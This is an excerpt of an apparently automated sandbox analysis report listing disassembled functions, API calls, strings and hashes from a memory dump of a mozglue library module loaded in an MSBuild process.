Function 6C4F3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C4F3EEE
RtlFreeHeap.NTDLL ref: 6C4F3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C4F4006
RtlFreeHeap.NTDLL ref: 6C4F40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4F3CCC), ref: 6C4F40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4F3CCC), ref: 6C4F40C2
RtlFreeHeap.NTDLL ref: 6C4F4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C4F3CCC), ref: 6C4F4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C4F3CCC), ref: 6C4F4157

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 6c725b0962b2ba1bb56354e0ab8ed3878e4274299386e18b614fc65424b1e7aa
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: B2A17DB1A00205CFEB40CF28C980F59B7B5BF88348F65419AD919AF742D771E987CBA1

Function 6C4E2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C503F47,?,?,?,6C503F47,6C501A70,?), ref: 6C4E207F
memset.VCRUNTIME140(?,000000E5,6C503F47,?,6C503F47,6C501A70,?), ref: 6C4E20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C503F47,6C501A70,?), ref: 6C4E211A
EnterCriticalSection.KERNEL32(6C56E744,?,6C503F47,6C501A70,?), ref: 6C4E2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C503F47,6C501A70,?), ref: 6C4E21BA
EnterCriticalSection.KERNEL32(6C56E744,?,6C503F47,6C501A70,?), ref: 6C4E21E0
LeaveCriticalSection.KERNEL32(6C56E744,?,6C503F47,6C501A70,?), ref: 6C4E2232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C4E2253, 6C4E2268
MOZ_CRASH(), xrefs: 6C4E227D

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 98996b5a79a50be01f7f43bb76610e63a4885ee9806722083bd43b9e1aadbd41
Instruction ID: 85f10e08277b24e6ca05489c45ee96e669f7ab6fff3ff7d822516f0db53dee7f
Opcode Fuzzy Hash: 98996b5a79a50be01f7f43bb76610e63a4885ee9806722083bd43b9e1aadbd41
Instruction Fuzzy Hash: 1A61D531F002078FCB14CA69CD89F7EB7B1AF89316F1A4239E524A7B94DB709D01C681

Function 6C539D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C538273), ref: 6C539D65
free.MOZGLUE(6C538273,?), ref: 6C539D7C
free.MOZGLUE(?,?), ref: 6C539D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C539E0F
free.MOZGLUE(6C53946B,?,?), ref: 6C539E24
free.MOZGLUE(?,?,?), ref: 6C539E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C539EC8
free.MOZGLUE(6C53946B,?,?,?), ref: 6C539EDF
free.MOZGLUE(?,?,?,?), ref: 6C539EF5

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 23b741218506f99b682ec417e25090ec64c99efec45c6a344db9ad626534659a
Instruction ID: 29c45ff64ecc414e9059576bbbde90cd86b33cd532ad97685d15d64698b092e3
Opcode Fuzzy Hash: 23b741218506f99b682ec417e25090ec64c99efec45c6a344db9ad626534659a
Instruction Fuzzy Hash: 79717EB0909B51CBD712CF18C88055BF3F5FF99315B449A59E89E9BB01EB30E885CB91

Function 6C53DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C53DDCF

Part of subcall function 6C51FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C51FA4B

Part of subcall function 6C5390E0: free.MOZGLUE(?,00000000,?,?,6C53DEDB), ref: 6C5390FF
Part of subcall function 6C5390E0: free.MOZGLUE(?,00000000,?,?,6C53DEDB), ref: 6C539108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C53DE0D
free.MOZGLUE(00000000), ref: 6C53DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C53DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C53DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C53DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C52DEFD,?,6C4F4A68), ref: 6C53DF32

Part of subcall function 6C53DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C53DB86
Part of subcall function 6C53DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C53DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C52DEFD,?,6C4F4A68), ref: 6C53DF65
free.MOZGLUE(?), ref: 6C53DF80

Part of subcall function 6C505E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C505EDB
Part of subcall function 6C505E90: memset.VCRUNTIME140(ewTl,000000E5,?), ref: 6C505F27
Part of subcall function 6C505E90: LeaveCriticalSection.KERNEL32(?), ref: 6C505FB2

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: ab4d44b9aa136bad44af62d546696817db77e04561886340da387f60a8f5aef5
Instruction ID: 0ba9fa7b12210581ab753663d2d3fa8d288b5416ed447b6f31ca28a3a068c77b
Opcode Fuzzy Hash: ab4d44b9aa136bad44af62d546696817db77e04561886340da387f60a8f5aef5
Instruction Fuzzy Hash: C751E572B116209BD7219B28CC802AEB7B2BFD1318F96151DD85E53B40FB31F919DB92

Function 6C545D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C545C8C,?,6C51E829), ref: 6C545D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C545C8C,?,6C51E829), ref: 6C545D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C545C8C,?,6C51E829), ref: 6C545D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C545C8C,?,6C51E829), ref: 6C545D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C545C8C,?,6C51E829), ref: 6C545DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C545C8C,?,6C51E829), ref: 6C545DC9
std::_Facet_Register.LIBCPMT ref: 6C545DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C545C8C,?,6C51E829), ref: 6C545E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C545C8C,?,6C51E829), ref: 6C545E45

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 4b945c47dd280399685c81b410dafe9976a2bd40501d813fe60da02769be76cd
Instruction ID: 6f9d8e28befad9d7a9ecb1485338f2ede8deadfc73f36a693b4750a40c954c2e
Opcode Fuzzy Hash: 4b945c47dd280399685c81b410dafe9976a2bd40501d813fe60da02769be76cd
Instruction Fuzzy Hash: DD418E71B002049FCB00EF69CC98AAE77B5FF89314F858069E50A9B791EB31ED05CB65

Function 6C51CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C4E31A7), ref: 6C51CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C51CFA4, 6C51CFB8
<jemalloc>, xrefs: 6C51CF9F, 6C51CFB3

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 052623ad84848730ae17dda891d58e0911cb2b7ebc10d2150068183d97e7aead
Instruction ID: f28f402bff74b8e3d4fc3c2cca1c5475c7b0cbb2d79cb724f9dcbe719d920fbe
Opcode Fuzzy Hash: 052623ad84848730ae17dda891d58e0911cb2b7ebc10d2150068183d97e7aead
Instruction Fuzzy Hash: 8631D6307492055BFF11EEAA8C49B7E7BB5AF41714F204125F611ABED0DBB1E800C795

Function 6C4EECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4EF100: LoadLibraryW.KERNEL32(shell32,?,6C55D020), ref: 6C4EF122
Part of subcall function 6C4EF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4EF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C4EED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4EEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C4EEDCC
CreateFileW.KERNEL32 ref: 6C4EEE08
free.MOZGLUE(00000000), ref: 6C4EEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C4EEE32

Part of subcall function 6C4EEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C4EEBB5
Part of subcall function 6C4EEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C51D7F3), ref: 6C4EEBC3
Part of subcall function 6C4EEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C51D7F3), ref: 6C4EEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C4EEDC1

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: a14cfe5d2a6fa07a8d28da56a167a70401f51c4db56176f4f0df54ab8d244d56
Instruction ID: 82bab807c4d6d3722fb9bfb2530781e88960d5150f91b5ecc21847333eda5aba
Opcode Fuzzy Hash: a14cfe5d2a6fa07a8d28da56a167a70401f51c4db56176f4f0df54ab8d244d56
Instruction Fuzzy Hash: D751CE71D052098BDB00DF68C880EEEB7B1AF5D319F46842DE8956B740E7306989CBE2

Function 6C55A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C55A565

Part of subcall function 6C55A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C55A4BE
Part of subcall function 6C55A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C55A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C55A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C55A6B6

Strings

0, xrefs: 6C55A5FB
z, xrefs: 6C55A6AE

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 782a34cddd541d1eb7d1c821522b6541d91536d05b0a59845da3714ba2b271e2
Instruction ID: cb784d3902cffcff2fe927255fd36f6226b232d5d2d4dbb4c1ff1a3269478256
Opcode Fuzzy Hash: 782a34cddd541d1eb7d1c821522b6541d91536d05b0a59845da3714ba2b271e2
Instruction Fuzzy Hash: 13414A719087459FC341DF28C480A9FBBE5BFC9354F808A2EF49987690E730E559CB92

Function 6C4E78C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C56008B), ref: 6C4E7B89
free.MOZGLUE(?,6C56008B), ref: 6C4E7BAC

Part of subcall function 6C4E78C0: free.MOZGLUE(?,6C56008B), ref: 6C4E7BCF

free.MOZGLUE(?,6C56008B), ref: 6C4E7BF2

Part of subcall function 6C505E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C505EDB
Part of subcall function 6C505E90: memset.VCRUNTIME140(ewTl,000000E5,?), ref: 6C505F27
Part of subcall function 6C505E90: LeaveCriticalSection.KERNEL32(?), ref: 6C505FB2

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 87b546392ff5d52f5c41b668ee51f5c2eaa9a648365797a90150b4e831174e75
Instruction ID: dd09922402dff2b09aa5bc784108085c41f899adca18d07eda67222de38e6443
Opcode Fuzzy Hash: 87b546392ff5d52f5c41b668ee51f5c2eaa9a648365797a90150b4e831174e75
Instruction Fuzzy Hash: 39C1B631E091288BEB24CB28CC90F9DB772AF45329F1643D9D51AE7BC2D7319E858B51

Function 6C529420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C51AB89: EnterCriticalSection.KERNEL32(6C56E370,?,?,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB94
Part of subcall function 6C51AB89: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
__Init_thread_footer.LIBCMT ref: 6C52949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C52947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C529459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C52946B

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 286995ad9721ddb3f3ed0dbc6b0b343546e2d3000b8f8b110c0578a83330582e
Instruction ID: f5dd440073c9fe3ff2cceeaf57bded6f6198bf6d333180213fc5c5dd64fd0652
Opcode Fuzzy Hash: 286995ad9721ddb3f3ed0dbc6b0b343546e2d3000b8f8b110c0578a83330582e
Instruction Fuzzy Hash: 3C01D870E0410187EB109B6EDC25B6E33B5BB4532AF050637D90686FB1D726E954899F

Function 6C530F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C530F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C530F88
GetCurrentThreadId.KERNEL32 ref: 6C530FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C531067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5310A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C53114B

Part of subcall function 6C528AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C541563), ref: 6C528BD5

free.MOZGLUE(?), ref: 6C531174
free.MOZGLUE(?), ref: 6C531186

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 895d68f2138f52d2351103f45b659bd111d6c631b4bc890bc733ade51acd7a01
Instruction ID: 2c5f85cd2e88e7c39e72cd2c5acf288b90e03747c8c5a9410e60e894ab8ea5f1
Opcode Fuzzy Hash: 895d68f2138f52d2351103f45b659bd111d6c631b4bc890bc733ade51acd7a01
Instruction Fuzzy Hash: 60619A75A043509BDB10DF25CD807AAB7F5AFC5308F05991DE88947611EB71E889CB82

Function 6C4EE9C0 Relevance: 12.1, APIs: 8, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,6C4F1999), ref: 6C4EEA39
memcpy.VCRUNTIME140(?,?,7FFFFFFE), ref: 6C4EEA5C
memset.VCRUNTIME140(7FFFFFFE,00000000,?), ref: 6C4EEA76
moz_xmalloc.MOZGLUE(-00000001,?,?,6C4F1999), ref: 6C4EEA9D
memcpy.VCRUNTIME140(?,7FFFFFFE,?,?,?,6C4F1999), ref: 6C4EEAC2
memset.VCRUNTIME140(?,00000000,00000000,?,?,?,?), ref: 6C4EEADC
free.MOZGLUE(7FFFFFFE,?,?,?,?), ref: 6C4EEB0B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 6C4EEB27

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: memcpymemsetmoz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 706364981-0
Opcode ID: 98c5b7e6927653debe1fbc1eaa7ea7ddc81a177dd559d472abd8758298019889
Instruction ID: 5f75887a8def2ff0af2f62a5f96f5a33ce3addaf3476df8793a0b29fe7245db0
Opcode Fuzzy Hash: 98c5b7e6927653debe1fbc1eaa7ea7ddc81a177dd559d472abd8758298019889
Instruction Fuzzy Hash: E241D2B1A002259FDB14CF68DC80EAE77A4FF49365F250628EC15E7794E730EA158BE1

Function 6C4EB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C4EB61E,?,?,?,?,?,00000000), ref: 6C4EB6AC

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4EB61E,?,?,?,?,?,00000000), ref: 6C4EB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C4EB61E,?,?,?,?,?,00000000), ref: 6C4EB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4EB61E,?,?,?,?,?,00000000), ref: 6C4EB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C4EB61E,?,?,?,?,?,00000000), ref: 6C4EB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C4EB61E), ref: 6C4EB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C4EB61E,?,?,?,?,?,00000000), ref: 6C4EB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C4EB61E,?,?,?,?,?,00000000), ref: 6C4EB79A

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 02475089556b6c09a899e6bab1fced7bce31bd29cf71b9afc268fe706d54a073
Instruction ID: 863f0edb06103cfacb8b987aec077401a2dd10caab1af0c145d4fbc6c51f489f
